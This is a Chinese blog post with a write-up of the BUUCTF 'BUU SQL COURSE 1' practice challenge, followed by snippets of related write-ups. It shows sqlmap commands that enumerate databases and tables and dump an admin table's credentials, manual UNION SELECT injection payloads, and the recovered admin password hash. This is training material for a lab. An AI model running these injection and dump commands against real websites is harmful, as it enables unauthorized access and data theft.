BUUCTF刷题笔记—Basic—BUU SQL COURSE 1

最新推荐文章于 2025-03-17 09:30:13 发布
最新推荐文章于 2025-03-17 09:30:13 发布
阅读量681 收藏 7
点赞数 5
文章标签： 笔记 sql 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_43176656/article/details/141284764
版权

使用sqlmap解题Basic—BUU SQL COURSE 1
打开页面，有登录和热点测试新闻1、2、3，开发者模式发现?id=1的参数模式，尝试使用sqlmap解题
在这里插入图片描述
在这里插入图片描述

windows环境sqlmap下载和安装参考：https://editor.youkuaiyun.com/md/?articleId=141284540
1.sqlmap下载：http://sqlmap.org/
解压sqlmapproject-sqlmap-1.8.8-0-g8b55644.zip到E:\softhome目录
2.目录修改为sqlmap
3.在E:\softhome\sqlmap打开cmd命令窗口，输入命令
python sqlmap.py -u http://ad3b72b4-56a0-4aba-86f1-00c232c0d053.node5.buuoj.cn:81/backend/content_detail.php?id=2
在这里插入图片描述
在这里插入图片描述

1.暴库
1.1.暴出所有库
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 --dbs
1.2.暴出当前所在库的表
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 --current-db

2.暴表
2.1.暴出所有数据表
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news --tables
2.2.暴出指定数据表的字段
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news -T admin --columns
2.3.暴出指定数据表的数据
python sqlmap.py -u http://b9ca0c42-fc98-4e2d-938a-c4b1d0813dfd.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D news -T admin -C id,password,username --dump

在这里插入图片描述
在这里插入图片描述
照着命令执行
在这里插入图片描述
登录admin/e5ede2976384652693e7c2d0a0ace014即可看到flag
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

luxyon
关注
BUUCTF刷题笔记—Basic—BUU BRUTE 1
qq_43176656的博客
08-14 928
BUUCTF
BUUCTF/BUU SQL COURSE 1
weixin_44041994的博客
03-19 893
登录按钮点击后是一个登陆界面，随意输入字符点击后显示提示信息"用户名或密码错误"，并且抓包发现是提交的POST请求，可以对该登录界面进行暴破操作，但是因为需要猜解两个字段内容且密码内容无提示，时间需求比较久，且需要较庞大的字典。通过判断可知contents表应为热点新闻的数据表，admin大概率为用户表，所以我们构建sql根据表名查询该表下的各字段名，成功得到字段名：id，username，password。热点按钮显示热点列表，有三个新闻，里面只有无意义的字符串，但是地址栏显示了/content/1。
[BUUCTF-Basic]BUU SQL COURSE 1 超详细入门题解(Web CTF)
最新发布
Fox_O1的博客
03-17 1533
上课用的~
BUUCTF Basic 解题记录--BUU SQL COURSE 1
weixin_43171033的博客
09-14 4020
BUUCTF Basic 解题记录--BUU SQL COURSE 1
（BUUCTF）BUU SQL COURSE 1
weixin_63442046的博客
04-28 3051
关于BUU SQL COURSE 1的思路
Buuctf | BUU SQL COURSE 1
m_de_g的博客
12-27 8223
BUU SQL COURSE 1 一、题目下载 https://buuoj.cn/challenges#BUU%20SQL%20COURSE%201 二、实战化演练 1.直接使用弱口令来进行测试 2.经过多次的测试，都无法注入，说明这个是写死的注册和登录，左边不是有热点吗？查看了一下跳转 3.通过访问backend/content_detail.php?id=1 4.通过修改后面的id=1，2，3，均会返回信息，直接使用SQL查询语句 1 and 1=1 5.我们尝试使用 1 and 1=2
【BUUCTF】BUU SQL COURSE 1 1
qq_41369524的博客
12-10 2726
进到burp里面看：id=1，id=2。推断可能是根据SQL查询得到的不同界面结果。例如select * from 表名 where id=1;再试一次，发现原来是之前粘贴少了一个字母，成功拿到flag。试试3，试试2，发现2有回显，所以试探出该表有两列。看到了username和password。先审题，题目名字应该是关于SQL注入的。没有结果，考虑一下MD5解密，解不了。在界面随便点点，发现是POST。首先，判断其是字符型还是数字型。返回结果相同，所以是数字型。得到用户名是admin。
BUU SQL COURSE 1 1（SQL注入）
小谢的博客
10-25 4652
BUU SQL COURSE 1 1（SQL注入）题解
BUU SQL COURSE 1
Lumos427的博客
05-18 2893
BUU SQL COURSE 1 01 注入点的查找 虽然页面上有登陆框，但是登录框里没有注入点，怎么测试都是用户名密码错误 当点进一个测试新闻里面，查看net就可以发现有提示的注入点 我们可以在url后加上来开始注入 02注入 ?id=1 order by 1 ?id=1 order by 2 ?id=1 order by 3 将页面上回显的字符串进行unicode解码，出现了下面的字符串， 可以发现，当列数为3时就没有了回显，所以进行注入的列数是两列 ?id=-1 union select 1,
[Writeup]BUU SQL COURSE1[入门级]
小飒的博客
06-08 963
观察网址，好像找到注入点 获得数据库 ctftraining获得表名 FLAG_TABLE获得列名 FLAG_COLUMN获得数据时发现数据是空的，只能想另外办法 看能不能登录news的数据库下找到 admin的密码：67fef29ef7beb75f567587f135fa26a0 获得flag payload： 使用sqlmap burp里直接可以找到注入点...
SQL注入常见利用方式(实战 BUU SQL COURSE 1)
晓梦林的博客
12-02 701
这个库是mysql的四个基本系统库之一，它存储了mysql的库名、表名、字段名等信息。无回显，那就尝试注入不同的列数，看网页是否有不同的回显。，找到了隐藏url，存在get请求传参。于是，我们就可以在id=1后面进行注入。：查询这个字段，回显某个数据库的库名。任意一个位置为回显位，即可带回数据。（1）拿到一个网页，先进行字符注入。：查询这个字段，回显某个表的表名。有回显，说明列数为2。通过前面的联合查询语句。（2） 后进行数字注入。
2025.1.20——二、buuctf BUU UPLOAD COURSE 1 1 文件上传
2402_87387800的博客
01-22 612
题目来源：buuctf BUU UPLOAD COURSE 1 1。
【CTF练习】BUU SQL COURSE 1
m0_73866435的博客
01-30 939
首先根据题目sql，那么我想着肯定考的是sql注入吧，那么页面显示有4个可点击，
BUU SQL COURSE 1 1
01-28
### BUU SQL Course Materials Overview In the context of learning about SQL injection through practical exercises, several key points emerge regarding the structure and content covered within the BUU SQL COURSE materials. The course appears to focus on teaching participants how to identify vulnerabilities related to SQL injections in web applications and exploit them using both manual methods and automated tools like `sqlmap`. The initial stages involve understanding basic syntax that can be used for testing potential injection flaws. For instance, a simple yet effective method involves appending specific payloads to query parameters such as IDs in URLs[^1]. This allows learners to explore what happens when improper input validation is present. For more advanced exploration, students are encouraged not only to manually craft queries but also leverage powerful automation frameworks. Tools like `sqlmap` play an essential role here by automating much of this process once an injection point has been identified[^2]. An example payload demonstrates retrieving information schema data which includes database names via UNION SELECT statements combined with built-in MySQL functions like DATABASE()[^4]: ```sql /backend/content_detail.php?id=-1 union select database(), user() ``` Additionally, there exists guidance on dumping entire databases or tables after confirming successful exploitation techniques have been applied correctly. An illustrative command line usage shows setting up sqlmap against a target URL while specifying the desired action: ```bash python sqlmap -u "http://example.com/vulnerable_page" -D "news" --dump-all ``` Furthermore, some write-ups highlight nuances encountered during challenges where multiple columns might need consideration depending upon application behavior. In one case study provided, it was noted that three-column structures were involved requiring adjustments accordingly[^5]: ```sql id=-1 union select 1,fllllag from id-- ``` These examples collectively provide insight into various aspects addressed throughout these educational resources aimed at enhancing cybersecurity skills specifically around detecting and mitigating risks associated with poor coding practices leading to SQL Injection vulnerabilities.
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值